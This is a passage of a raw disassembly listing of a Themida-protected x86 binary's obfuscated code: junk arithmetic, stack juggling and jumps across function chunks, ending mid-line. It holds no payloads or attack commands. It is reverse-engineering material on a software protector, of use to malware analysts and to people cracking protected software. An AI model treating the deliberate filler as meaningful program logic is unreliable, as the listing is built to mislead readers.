loc_56825A: ; CODE XREF: sub_56755A+Bj xor edx, 265B6087h add edi, edx pop edx push 568h mov [esp+10h+var_10], edi jmp loc_561F00 sub_56755A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570668 loc_568270: ; CODE XREF: sub_570668-D882j pop ebp push edx inc [esp+0Ch+var_C] mov edx, [esp+0Ch+var_C] add esp, 4 inc edx push ecx mov ecx, 682028FBh add edx, ecx pop ecx push edx add [esp+0Ch+var_C], 6BD668E8h jmp loc_568DDD ; END OF FUNCTION CHUNK FOR sub_570668 ; --------------------------------------------------------------------------- loc_568292: ; CODE XREF: Themida_:0056CDCBj push bp mov bp, 5AC0h jmp loc_5672DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565F9F loc_56829D: ; CODE XREF: sub_565F9F+1Dj add esi, ebp pop ebp xor esi, 28F7766h add esi, 80AEA8B7h add ebx, esi mov esi, [esp+4+var_4] add esp, 4 add esi, ebx push dword ptr [esp+0] mov ebx, [esp+4+var_4] add esp, 4 add esp, 4 jmp loc_56AA31 ; END OF FUNCTION CHUNK FOR sub_565F9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5682CD: ; CODE XREF: sub_56755A+6B93j xor eax, esi mov esi, [esp+10h+var_10] push eax mov eax, esp add eax, 4 add eax, 4 push eax push [esp+18h+var_14] jmp loc_56C3F1 ; --------------------------------------------------------------------------- loc_5682E7: ; CODE XREF: sub_56755A+2E48j pop esi add ecx, edi push eax mov eax, 0 jmp loc_56B515 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5682F5: ; CODE XREF: Themida_:0056A1E6j inc edi jmp loc_55E337 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55EF75 loc_5682FB: ; CODE XREF: sub_55EF75+282Cj pop esp mov [esp+4+var_4], ecx jmp sub_55F861 ; END OF FUNCTION CHUNK FOR sub_55EF75 ; --------------------------------------------------------------------------- loc_568304: ; CODE XREF: Themida_:0056E0A8j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], ecx push esp jmp loc_561863 ; --------------------------------------------------------------------------- loc_568317: ; CODE XREF: Themida_:00565BF8j xchg ebx, esi add esi, 1 jmp loc_56D745 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568321: ; CODE XREF: sub_56755A+4030j add esp, 4 jmp sub_5635DE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_568329: ; CODE XREF: Themida_:0056DC74j push ecx jmp loc_56D75A ; --------------------------------------------------------------------------- loc_56832F: ; CODE XREF: Themida_:005660B5j pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], esi jmp loc_56E625 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568340: ; CODE XREF: sub_56755A-3DF5j add ebp, 4 sub ebp, 4 xchg ebp, [esp+0Eh+var_10+2] pop esp jmp loc_56893F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_568355: ; CODE XREF: Themida_:0057076Cj mov ch, bl pop bx jmp loc_55F2A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56835E: ; CODE XREF: sub_56755A-2FA4j mov ebp, [esp+12h+var_14+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+16h+var_18+2] pop esp add ebp, ecx mov ecx, [esp+12h+var_14+2] add esp, 4 add ebp, 4 xchg ebp, [esp+0Eh+var_10+2] pop esp jmp sub_56CB1B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_568388: ; CODE XREF: Themida_:0056694Aj push edi push esi push ebp push 0C991062h jmp loc_55D31F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568395: ; CODE XREF: sub_56755A+2087j mov [esp+0Ah+var_C+2], eax mov ah, 7Bh jmp loc_569131 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560483 loc_56839F: ; CODE XREF: sub_560483-5E9j add esp, 4 push eax push esp mov eax, [esp-4+arg_0] push esi jmp loc_55C53A ; END OF FUNCTION CHUNK FOR sub_560483 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_5683BB: ; CODE XREF: Themida_:00569E79j pop edx add esp, 4 shr eax, 5 shr eax, 1 sub eax, 0EA15C600h jmp loc_56919B ; --------------------------------------------------------------------------- loc_5683CE: ; CODE XREF: Themida_:0056E92Dj sub ecx, 2 xchg ecx, [esp] pop esp mov [esp], bp xchg di, [esp] not di sub esp, 2 mov [esp], di push small word ptr [esp+2] mov di, [esp] push 12DCh mov [esp], esi jmp loc_5657CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568403: ; CODE XREF: sub_56755A+47C9j push esp pop [esp+0Eh+var_10+2] add [esp+0Ah+var_C+2], 4 pop esi push edx mov edx, 60A92D21h add edx, 0E22AE2E9h jmp loc_55C61C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_568420: ; CODE XREF: Themida_:0056732Bj push ebx sub esp, 4 mov [esp], edi push 385B63CDh pop edi jmp loc_56EC89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5636A9 loc_568435: ; CODE XREF: sub_5636A9-6EBDj shr ah, 1 push bx mov bl, 0B1h add ah, bl jmp loc_56E95B ; END OF FUNCTION CHUNK FOR sub_5636A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568442: ; CODE XREF: sub_56755A-83EBj inc edx xor edx, 7A4B032Fh shl edx, 6 sub edx, 2B885842h shl edx, 5 jmp loc_567940 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BA15 loc_56845A: ; CODE XREF: sub_56BA15-B0B8j mov eax, 44AC7960h jmp loc_567820 ; END OF FUNCTION CHUNK FOR sub_56BA15 ; --------------------------------------------------------------------------- loc_568464: ; CODE XREF: Themida_:0056FB1Ej add ebx, 198B17A2h pop esi jmp loc_560AFE ; =============== S U B R O U T I N E ======================================= sub_568470 proc near ; CODE XREF: sub_5635DE-6484j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_18 = dword ptr 1Ch arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 0055C118 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055F3CB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056031D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00568ABA SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00568CF5 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0056943D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056C73D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056D05B SIZE 00000018 BYTES push ebx push 68DE7547h push [esp-1Ch+arg_18] pop ebx jmp loc_56031D sub_568470 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_56847F: ; CODE XREF: Themida_:0056A1B2j or ecx, 526D3DC0h xor ecx, 0F61BF183h sub eax, ecx pop ecx sub eax, 4F246CF2h sub eax, ebp add eax, 4F246CF2h add eax, 0DE60E78h pop ebp jmp loc_55F824 ; --------------------------------------------------------------------------- loc_5684A5: ; CODE XREF: Themida_:0056063Cj pop esp jmp loc_55B89B ; --------------------------------------------------------------------------- loc_5684AB: ; CODE XREF: Themida_:005648BAj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push esp pop dword ptr [esp] jmp loc_56858B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5684C0: ; CODE XREF: sub_56755A+7AF4j push 4F311FF9h pop edx jmp loc_56BF88 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_5684CB: ; CODE XREF: sub_56CB7D-BFDBj xor ecx, eax jmp loc_55C4DC ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562C5D loc_5684D2: ; CODE XREF: sub_562C5D-2C3Cj add esp, 4 add bh, ah add bh, 91h pop eax add cl, bh pop ebx jmp loc_56E610 ; END OF FUNCTION CHUNK FOR sub_562C5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D4B loc_5684E3: ; CODE XREF: sub_568D4B-67DCj mov ecx, 597F1F5Dh inc ecx dec ecx add ecx, 0A680E0A7h add ebx, ecx pop ecx xchg ebx, [esp+4+var_4] pop esp mov ebx, [esp+0] push eax jmp loc_55DAF4 ; END OF FUNCTION CHUNK FOR sub_568D4B ; --------------------------------------------------------------------------- loc_568500: ; CODE XREF: Themida_:00566A15j add eax, edx pop edx jmp loc_562ACE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D83A loc_568508: ; CODE XREF: sub_56D83A-1224Aj pop [esp-8+arg_0] mov esp, [esp-0Ch+arg_4] pop [esp-0Ch+arg_4] jmp loc_55D85E ; END OF FUNCTION CHUNK FOR sub_56D83A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DE37 loc_568516: ; CODE XREF: sub_55DE37+3AF4j shl edx, 1 push eax push 11F7h mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop eax push esi mov esi, 4 add eax, esi jmp loc_5663F4 ; END OF FUNCTION CHUNK FOR sub_55DE37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_568536: ; CODE XREF: sub_55FDEF+11BCj push esi push 6D726E1Dh jmp loc_562FF4 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- loc_568541: ; CODE XREF: Themida_:00564EF5j pop esp push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5706D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FE13 loc_568557: ; CODE XREF: sub_55FE13-5B7j sub bl, cl pop cx add bl, 99h pop eax add bl, al push dx mov dh, 0D2h sub bl, dh pop dx jmp loc_561E52 ; END OF FUNCTION CHUNK FOR sub_55FE13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_56856E: ; CODE XREF: sub_56971C-AA4j pop edx push ecx jmp loc_56636A ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564356 loc_568575: ; CODE XREF: sub_564356-5D41j push 60EE4048h pop ecx shr ecx, 6 jmp loc_564A54 ; END OF FUNCTION CHUNK FOR sub_564356 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D4B loc_568583: ; CODE XREF: sub_568D4B-CDF2j mov [esp+8+var_8], esi jmp loc_55C864 ; END OF FUNCTION CHUNK FOR sub_568D4B ; --------------------------------------------------------------------------- loc_56858B: ; CODE XREF: Themida_:005684BBj add dword ptr [esp], 4 pop esi add esi, 4 sub esp, 4 jmp loc_55DBE2 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push 33D6h jmp loc_564ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56626C loc_5685AB: ; CODE XREF: sub_56626C+FF0j sub al, dl pop edx sub bl, al pop eax push dx mov dh, 0D4h sub bl, dh pop dx jmp loc_566764 ; END OF FUNCTION CHUNK FOR sub_56626C ; --------------------------------------------------------------------------- loc_5685BE: ; CODE XREF: Themida_:0056A5C4j neg eax jmp loc_568F0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B774 loc_5685C5: ; CODE XREF: sub_56B774-2D41j mov ebx, 60D70A4Dh jmp loc_56F69E ; END OF FUNCTION CHUNK FOR sub_56B774 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5685CF: ; CODE XREF: sub_56755A+3970j add edi, 668C4CDBh sub edi, esi sub edi, 668C4CDBh mov esi, [esp+2Ch+var_2C] add esp, 4 add edi, ebp push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_56FA4F ; --------------------------------------------------------------------------- loc_5685F6: ; CODE XREF: sub_56755A+48FAj movzx eax, al pop small word ptr [edi+eax*4] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_568602: ; CODE XREF: sub_56755A-3771j mov [esp+0Ch+var_C], edx mov dh, 6Ch jmp sub_56B62C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56860C: ; CODE XREF: Themida_:0056E6BBj sub al, 0E2h add al, bl add al, 0E2h sub al, 0D5h jmp loc_55BD52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F13C loc_568619: ; CODE XREF: sub_56F13C-20Cj push dword ptr [esp+0] pop ecx push ecx mov ecx, esp add ecx, 4 jmp loc_56B310 ; END OF FUNCTION CHUNK FOR sub_56F13C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56862B: ; CODE XREF: sub_56755A+12FBj xor [edi+24h], eax jmp loc_55D828 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_568633: ; CODE XREF: Themida_:0056123Dj add esp, 4 push 1997h jmp loc_568E0C ; --------------------------------------------------------------------------- loc_568640: ; CODE XREF: Themida_:0055F6E5j add esi, eax mov eax, [esp] add esp, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_55FED8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568662: ; CODE XREF: sub_56755A-932Cj pop edx sub bl, 7 jmp loc_561EF5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_56866B: ; CODE XREF: sub_566504-DF6j sub edx, ebx pop ebx push dword ptr [edx] pop ecx jmp loc_563108 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- loc_568676: ; CODE XREF: Themida_:005703DBj push dword ptr [esp] pop ecx add esp, 4 push eax mov eax, esp push 0D77h jmp loc_56DEB2 ; --------------------------------------------------------------------------- loc_56868D: ; CODE XREF: Themida_:0055DD78j mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add ch, ah pop eax sub esp, 4 mov [esp], edx push ebx mov bh, 0Eh mov dl, bh push dword ptr [esp] pop ebx jmp loc_56E2AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEC8 loc_5686BA: ; CODE XREF: sub_56CEC8-A9C9j neg ah jmp loc_561223 ; END OF FUNCTION CHUNK FOR sub_56CEC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_5686C1: ; CODE XREF: sub_562F50+20F6j xor eax, [esp+4+var_4] mov esp, [esp+4+var_4] ; END OF FUNCTION CHUNK FOR sub_562F50 ; START OF FUNCTION CHUNK FOR sub_5635DE loc_5686C7: ; CODE XREF: sub_5635DE-D48j push ecx mov ecx, 0 mov [edx+30h], ecx push dword ptr [esp+0] pop ecx push ebx jmp loc_55D151 ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- loc_5686DA: ; CODE XREF: Themida_:0056B649j pop esi push eax mov eax, 75E71E0Ah neg eax add eax, 34881D84h push esi mov esi, 0DF5759h or esi, 3CEB391Dh inc esi not esi push ebx mov ebx, 260E0A79h shl ebx, 5 xor ebx, 1F534DE8h xor ebx, 0EA2D71E2h add esi, ebx pop ebx jmp loc_5638C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568714: ; CODE XREF: sub_56755A+2A2Bj sub dh, bh pop ebx jmp loc_55E229 ; --------------------------------------------------------------------------- loc_56871C: ; CODE XREF: sub_56755A-6D1Dj pop [esp+4+var_4] mov esp, [esp+0] mov [esp+0], ax jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56872B: ; CODE XREF: Themida_:0056BAFBj push 400h pop ebp mov eax, ebp pop ebp or [edi+1Ch], eax mov eax, [esp] push 6AE2h mov [esp], esi push esp pop esi jmp loc_56B9F0 ; --------------------------------------------------------------------------- loc_568749: ; CODE XREF: Themida_:0055BC3Ej pop ebx push ebx mov ebx, 6C4F7625h push ecx mov ecx, 449F0864h xor ebx, ecx jmp loc_55CD1D ; --------------------------------------------------------------------------- loc_56875D: ; CODE XREF: Themida_:00569309j add ebp, esi pop esi add ebp, 0BDC0C91Eh add esi, ebp mov ebp, [esp] add esp, 4 mov eax, [esp] add esp, 4 add esi, 2 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_55CCC6 ; --------------------------------------------------------------------------- loc_568785: ; CODE XREF: Themida_:0056DF70j push edi mov edi, 7E5D0F65h sub esi, edi pop edi inc esi jmp loc_55D34B ; --------------------------------------------------------------------------- loc_568794: ; CODE XREF: Themida_:0056C3AEj add edi, edx jmp loc_55F5BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F88 loc_56879B: ; CODE XREF: sub_562F88-2E6j push esi push 1D71h mov [esp+8+var_8], esp jmp loc_5688BC ; END OF FUNCTION CHUNK FOR sub_562F88 ; =============== S U B R O U T I N E ======================================= sub_5687A9 proc near ; CODE XREF: sub_5649FE+Cj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005623B3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00563090 SIZE 00000051 BYTES ; FUNCTION CHUNK AT 00563776 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005639FC SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00570149 SIZE 00000007 BYTES sub esp, 4 mov [esp+4+var_4], ebp sub esp, 4 mov [esp+8+var_8], edx jmp loc_5623B3 sub_5687A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5687BA: ; CODE XREF: sub_56755A+21ABj sub al, cl mov ecx, [esp+0] add esp, 4 push dx mov dh, 0ADh sub dh, 92h add al, dh pop dx jmp loc_56CC95 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E99C loc_5687D5: ; CODE XREF: sub_55E99C+D48Fj inc edi or edi, 754D486Ch sub edi, 3A5F796Ch jmp loc_56345F ; END OF FUNCTION CHUNK FOR sub_55E99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5687E7: ; CODE XREF: sub_56755A+5B20j pop small word ptr [eax] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_5687EF: ; CODE XREF: sub_56755A-4668j and ecx, 5E44090Fh shr ecx, 5 jmp loc_56C05E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5687FD: ; CODE XREF: Themida_:005623D9j xor ebp, [esp] jmp loc_55E5C8 ; --------------------------------------------------------------------------- loc_568805: ; CODE XREF: Themida_:00564A6Aj sub dh, 9Fh push ecx jmp loc_56F80F ; --------------------------------------------------------------------------- loc_56880E: ; CODE XREF: Themida_:0056F455j push esi mov esi, esp add esi, 4 jmp loc_565D91 ; --------------------------------------------------------------------------- loc_56881C: ; CODE XREF: Themida_:0056B903j add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop ebx push eax push edx jmp loc_55E144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568835: ; CODE XREF: sub_56755A-43AEj push ecx mov ecx, 0 add ecx, 23454C8Ah add ecx, ebx sub ecx, 23454C8Ah xor eax, [ecx] mov ecx, [esp+30h+var_30] add esp, 4 pop ebx jmp loc_56862B ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56885A proc near ; CODE XREF: sub_56B812-5A27j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055E460 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00565B6A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00566F62 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005672D0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056AA54 SIZE 00000014 BYTES push ebp jmp loc_566F62 sub_56885A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_568860: ; CODE XREF: Themida_:0055C10Bj pop ecx add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], ecx push 4B4Eh mov [esp], esp sub esp, 4 mov [esp], esi jmp loc_56FDA9 ; --------------------------------------------------------------------------- loc_56888D: ; CODE XREF: Themida_:00560441j push esp pop dword ptr [esp] push esi mov esi, 551C103Ch sub esi, 4ECA752Eh shl esi, 6 jmp loc_55FD0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_5688A5: ; CODE XREF: sub_56F653-5272j mov ebx, [esp+0] add esp, 4 xor al, dh push [esp+0Ch+var_C] mov edx, [esp+0] push ebp jmp loc_55F5AD ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F88 loc_5688BC: ; CODE XREF: sub_562F88+581Cj add [esp+8+var_8], 4 pop esi add esi, 4 add esi, 4 xchg esi, [esp+4+var_4] pop esp push 9D4h jmp loc_560CF4 ; END OF FUNCTION CHUNK FOR sub_562F88 ; --------------------------------------------------------------------------- loc_5688D8: ; CODE XREF: Themida_:0056EEA1j push 2BDE18C7h pop edx jmp loc_55E9BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_5688E3: ; CODE XREF: sub_55C719+13511j add esp, 4 sub esp, 4 mov [esp+4+var_4], ecx jmp loc_560566 ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- loc_5688F1: ; CODE XREF: Themida_:00563024j add dh, 25h jmp loc_56112F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_5688F9: ; CODE XREF: sub_55FDEF-394Aj sub ebx, edi jmp loc_56327B ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568900: ; CODE XREF: sub_56755A+6B9j sub [esp+28h+var_28], 0FFFFFFFFh pop esi push ecx push esi mov esi, 60630D0h push eax mov eax, 0D573AC2Bh push eax pop ecx pop eax sub ecx, esi mov esi, [esp+2Ch+var_2C] add esp, 4 push edi mov edi, 1E972E83h inc edi jmp loc_57003B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55EA9F loc_56892C: ; CODE XREF: sub_55EA9F-17B2j pop ebx jmp sub_55DE37 ; END OF FUNCTION CHUNK FOR sub_55EA9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_568932: ; CODE XREF: sub_56CB7D-BFCAj and eax, edi mov edi, [esp+14h+var_14] add esp, 4 jmp loc_5637D3 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56893F: ; CODE XREF: sub_56755A+DF6j mov [esp+0Ah+var_C+2], esi mov esi, esp sub esp, 4 mov [esp+0Eh+var_10+2], edi mov edi, 174E066Ch shr edi, 6 inc edi push 4611h jmp loc_55F6CA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_568960: ; CODE XREF: sub_55FDEF+B235j xor eax, [esp+4+var_4] xor [esp+4+var_4], eax jmp loc_560FA7 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- loc_56896B: ; CODE XREF: Themida_:0056C5FDj pop esp add esp, 4 pop dword ptr [esp] pop esp mov cx, [esp] push esi push esp mov esi, [esp] push ebx mov ebx, esp push ebp mov ebp, 36612E30h not ebp sub esp, 4 mov [esp], edi mov edi, 303A6217h sub edi, 142E0244h or ebp, edi jmp loc_568AC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5689A2: ; CODE XREF: sub_56755A-A1AFj sub al, bl push [esp+28h+var_28] jmp loc_55BB73 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_5689AC: ; CODE XREF: sub_563973-208Fj sub edx, 465347B4h jmp loc_56B6E6 ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5689B7: ; CODE XREF: sub_56755A+382Fj add edi, 4 sub edi, 4 xchg edi, [esp+2Ch+var_2C] pop esp mov [esp+28h+var_28], ebx jmp loc_564CE0 ; --------------------------------------------------------------------------- loc_5689CF: ; CODE XREF: sub_56755A-A899j add [esp+1Ch+var_18], 7ED73440h pop ecx jmp loc_55FD05 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5689DD: ; CODE XREF: Themida_:00561056j sub eax, 66681392h jmp loc_564147 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_5689E7: ; CODE XREF: sub_56F653-13B0Aj mov dh, 18h mov ch, dh jmp loc_56E2E8 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- loc_5689F0: ; CODE XREF: Themida_:005652C2j xchg edi, [esp] pop esp jmp loc_56D315 ; --------------------------------------------------------------------------- loc_5689F9: ; CODE XREF: Themida_:0056AB9Fj push esp pop dword ptr [esp] push ebp mov ebp, 4 add [esp+4], ebp pop ebp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop edi add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_55E738 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B774 loc_568A27: ; CODE XREF: sub_56B774-D45Dj mov eax, ebx mov ebx, [esp+10h+var_10] add esp, 4 push ebx jmp loc_5685C5 ; END OF FUNCTION CHUNK FOR sub_56B774 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEC8 loc_568A38: ; CODE XREF: sub_56CEC8-6E8j mov bl, cl mov ecx, [esp+0] add esp, 4 neg bl push ax mov al, bl inc al mov bl, al pop ax push bx inc byte ptr [esp+0] pop bx jmp loc_565F60 ; END OF FUNCTION CHUNK FOR sub_56CEC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568A5B: ; CODE XREF: sub_56755A-3F81j jmp loc_55B555 ; --------------------------------------------------------------------------- loc_568A60: ; CODE XREF: sub_56755A+4C3j pop esp add ebp, 5EFD40BEh add ebp, esi sub ebp, 5EFD40BEh mov esi, [esp+2Ch+var_2C] add esp, 4 xchg ebp, [esp+28h+var_28] jmp loc_55C9C2 ; --------------------------------------------------------------------------- loc_568A7D: ; CODE XREF: sub_56755A+6606j pop ebp jmp loc_56E4AC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_568A83: ; CODE XREF: Themida_:00570057j mov esi, [esp] add esp, 4 push ebp jmp loc_56B908 ; --------------------------------------------------------------------------- loc_568A92: ; CODE XREF: Themida_:0055E753j pop ecx sub ebp, 33FF7FEEh sub edx, ebp pop ebp push 2679h mov [esp], edi mov edi, 49AA1860h add edi, 46B03E7Bh and edi, 452A6017h jmp loc_5697FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568470 loc_568ABA: ; CODE XREF: sub_568470+8ADj xchg eax, [esp-1Ch+arg_18] pop esp jmp loc_56D05B ; END OF FUNCTION CHUNK FOR sub_568470 ; --------------------------------------------------------------------------- loc_568AC3: ; CODE XREF: Themida_:0056899Dj pop edi sub ebp, 6E7D7283h jmp loc_55EAEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563616 loc_568ACF: ; CODE XREF: sub_563616-5A8Aj push small 1D23h mov word ptr [esp+2+var_4+2], dx push ax pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_563616 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E65 loc_568ADF: ; CODE XREF: sub_569E65-8981j sub eax, 3464119h push [esp+4+var_4] mov ecx, [esp+8+var_8] add esp, 4 push 2563h mov [esp+8+var_8], ecx push esp pop ecx push edx mov edx, 4 add ecx, 480648E6h jmp loc_567C30 ; END OF FUNCTION CHUNK FOR sub_569E65 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp mov ebp, esp push ebx jmp loc_55FCB5 ; --------------------------------------------------------------------------- loc_568B15: ; CODE XREF: Themida_:00561457j sub esp, 4 mov [esp], ebp jmp loc_5698F8 ; --------------------------------------------------------------------------- loc_568B23: ; CODE XREF: Themida_:0056E5B3j add ecx, 16A91ABBh jmp loc_5604D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B812 loc_568B2E: ; CODE XREF: 